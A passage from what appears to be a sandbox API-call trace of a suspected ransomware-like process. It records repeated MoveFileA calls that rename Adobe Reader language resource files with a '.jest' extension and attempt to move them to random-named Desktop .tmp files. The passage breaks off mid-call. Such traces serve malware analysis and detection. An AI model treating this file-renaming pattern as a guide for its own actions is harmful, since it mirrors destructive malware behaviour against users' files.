[0151.205] CoFreeUnusedLibraries () [0151.205] GetTickCount () returned 0x1157926 [0151.205] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.205] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.205] GetTickCount () returned 0x1157926 [0151.205] IsWindowVisible (hWnd=0x30268) returned 0 [0151.205] Sleep (dwMilliseconds=0x0) [0151.207] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt.jest")) returned 1 [0151.207] GetLastError () returned 0x0 [0151.207] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣琮瑸") returned 0x68 [0151.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.208] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣琮瑸") returned 0x68 [0151.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=105, lpWideCharStr=0x144ebf4, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt") returned 105 [0151.208] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣琮瑸樮獥t") returned 0x6d [0151.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.208] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣琮瑸樮獥t") returned 0x6d [0151.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt.jest") returned 110 [0151.208] VarBstrFromR4 (in: fltIn=0x47945073, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.9") returned 0x0 [0151.208] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.209] CoFreeUnusedLibraries () [0151.209] GetTickCount () returned 0x1157926 [0151.209] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.209] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.209] GetTickCount () returned 0x1157926 [0151.209] IsWindowVisible (hWnd=0x30268) returned 0 [0151.209] Sleep (dwMilliseconds=0x0) [0151.210] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ePLTaDCbA-EwB_fxVMSQHJMwytFlUJIbplMWfG91z5-qAyRoJJwd26zJ2L6kKT1gPFVy_f7yMZRig_TzfPK6 jyZAp7GigusRSL4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epltadcba-ewb_fxvmsqhjmwytflujibplmwfg91z5-qayrojjwd26zj2l6kkt1gpfvy_f7ymzrig_tzfpk6 jyzap7gigusrsl4.tmp")) returned 0 [0151.210] GetLastError () returned 0x2 [0151.211] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.212] CoFreeUnusedLibraries () [0151.212] GetTickCount () returned 0x1157926 [0151.212] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.212] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.212] GetTickCount () returned 0x1157926 [0151.212] IsWindowVisible (hWnd=0x30268) returned 0 [0151.212] Sleep (dwMilliseconds=0x0) [0151.213] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt.jest")) returned 1 [0151.214] GetLastError () returned 0x0 [0151.214] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣䍟⹚硴t") returned 0x6b [0151.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.214] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣䍟⹚硴t") returned 0x6b [0151.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt") returned 108 [0151.214] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣䍟⹚硴⹴敪瑳") returned 0x70 [0151.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.214] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獣䍟⹚硴⹴敪瑳") returned 0x70 [0151.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt.jest") returned 113 [0151.215] VarBstrFromR4 (in: fltIn=0x47945073, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.9") returned 0x0 [0151.215] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.215] CoFreeUnusedLibraries () [0151.215] GetTickCount () returned 0x1157926 [0151.215] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.215] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.216] GetTickCount () returned 0x1157926 [0151.216] IsWindowVisible (hWnd=0x30268) returned 0 [0151.216] Sleep (dwMilliseconds=0x0) [0151.217] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G7FQ0UchuWUedrCqTmYZJyp2lEXsE__9PSM7LrnWtzmrii3QlYs msc_HA0mrMnURK fLc 5bZYLdLpjj0StciO-a-_mvncGmrHv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g7fq0uchuwuedrcqtmyzjyp2lexse__9psm7lrnwtzmrii3qlys msc_ha0mrmnurk flc 5bzyldlpjj0stcio-a-_mvncgmrhv.tmp")) returned 0 [0151.217] GetLastError () returned 0x2 [0151.217] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.217] CoFreeUnusedLibraries () [0151.217] GetTickCount () returned 0x1157926 [0151.217] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.217] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.217] GetTickCount () returned 0x1157926 [0151.218] IsWindowVisible (hWnd=0x30268) returned 0 [0151.218] Sleep (dwMilliseconds=0x0) [0151.219] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt.jest")) returned 1 [0151.220] GetLastError () returned 0x0 [0151.220] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥琮瑸") returned 0x68 [0151.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.220] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥琮瑸") returned 0x68 [0151.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=105, lpWideCharStr=0x144eaec, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt") returned 105 [0151.220] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥琮瑸樮獥t") returned 0x6d [0151.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.220] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥琮瑸樮獥t") returned 0x6d [0151.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt.jest") returned 110 [0151.221] VarBstrFromR4 (in: fltIn=0x47945075, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.91") returned 0x0 [0151.221] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.221] CoFreeUnusedLibraries () [0151.221] GetTickCount () returned 0x1157936 [0151.221] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.221] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.221] GetTickCount () returned 0x1157936 [0151.222] IsWindowVisible (hWnd=0x30268) returned 0 [0151.222] Sleep (dwMilliseconds=0x0) [0151.222] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8_SuoGlJ1E8Dyq9kv7hVSuHDs7W_6bfELSgXn_A2T1SgiTeNZB99P6Miw hJRbxY36 S4hVOjuRzXNZ0OnsX019iBbNhNxyE9-h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8_suoglj1e8dyq9kv7hvsuhds7w_6bfelsgxn_a2t1sgitenzb99p6miw hjrbxy36 s4hvojurzxnz0onsx019ibbnhnxye9-h.tmp")) returned 0 [0151.223] GetLastError () returned 0x2 [0151.223] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.223] CoFreeUnusedLibraries () [0151.223] GetTickCount () returned 0x1157936 [0151.223] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.223] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.223] GetTickCount () returned 0x1157936 [0151.223] IsWindowVisible (hWnd=0x30268) returned 0 [0151.223] Sleep (dwMilliseconds=0x0) [0151.225] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt.jest")) returned 1 [0151.225] GetLastError () returned 0x0 [0151.226] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥䕟⹅硴t") returned 0x6b [0151.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.226] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥䕟⹅硴t") returned 0x6b [0151.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt") returned 108 [0151.226] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥䕟⹅硴⹴敪瑳") returned 0x70 [0151.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.226] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑥䕟⹅硴⹴敪瑳") returned 0x70 [0151.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt.jest") returned 113 [0151.226] VarBstrFromR4 (in: fltIn=0x47945075, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.91") returned 0x0 [0151.227] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.227] CoFreeUnusedLibraries () [0151.227] GetTickCount () returned 0x1157936 [0151.227] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.227] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.227] GetTickCount () returned 0x1157936 [0151.227] IsWindowVisible (hWnd=0x30268) returned 0 [0151.227] Sleep (dwMilliseconds=0x0) [0151.228] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DEfex 2O bBCyESVxFHUUEyJwBN26RwRaESzRTbsodLqrIqqWqj_Qp_icSQA3YHI6d8yCU_ SuKgc6CJOrVPKuOwq5PewsU-JXXsl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\defex 2o bbcyesvxfhuueyjwbn26rwraeszrtbsodlqriqqwqj_qp_icsqa3yhi6d8ycu_ sukgc6cjorvpkuowq5pewsu-jxxsl.tmp")) returned 0 [0151.228] GetLastError () returned 0x2 [0151.228] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.228] CoFreeUnusedLibraries () [0151.228] GetTickCount () returned 0x1157936 [0151.229] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.229] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.229] GetTickCount () returned 0x1157936 [0151.229] IsWindowVisible (hWnd=0x30268) returned 0 [0151.229] Sleep (dwMilliseconds=0x0) [0151.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt.jest")) returned 1 [0151.231] GetLastError () returned 0x0 [0151.231] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨琮瑸") returned 0x68 [0151.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.231] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨琮瑸") returned 0x68 [0151.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x144ddec, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt") returned 105 [0151.231] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨琮瑸樮獥t") returned 0x6d [0151.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.231] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨琮瑸樮獥t") returned 0x6d [0151.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt.jest") returned 110 [0151.232] VarBstrFromR4 (in: fltIn=0x47945075, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.91") returned 0x0 [0151.232] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.232] CoFreeUnusedLibraries () [0151.232] GetTickCount () returned 0x1157936 [0151.232] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.232] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.232] GetTickCount () returned 0x1157936 [0151.232] IsWindowVisible (hWnd=0x30268) returned 0 [0151.232] Sleep (dwMilliseconds=0x0) [0151.233] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xGEnKjkvJOjS4uRw 1SDgiZSy6yW4CZNNOe2bthzmBwChbO BmomJnfHGJwJaRoSXq8RPzMlBTxRQb5UMDyX1V4pwYtqicDB1 t w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xgenkjkvjojs4urw 1sdgizsy6yw4cznnoe2bthzmbwchbo bmomjnfhgjwjarosxq8rpzmlbtxrqb5umdyx1v4pwytqicdb1 t w.tmp")) returned 0 [0151.233] GetLastError () returned 0x2 [0151.234] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.234] CoFreeUnusedLibraries () [0151.234] GetTickCount () returned 0x1157936 [0151.234] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.234] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.234] GetTickCount () returned 0x1157936 [0151.234] IsWindowVisible (hWnd=0x30268) returned 0 [0151.234] Sleep (dwMilliseconds=0x0) [0151.235] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt.jest")) returned 1 [0151.236] GetLastError () returned 0x0 [0151.236] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨䡟⹒硴t") returned 0x6b [0151.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.236] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨䡟⹒硴t") returned 0x6b [0151.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt") returned 108 [0151.236] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨䡟⹒硴⹴敪瑳") returned 0x70 [0151.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 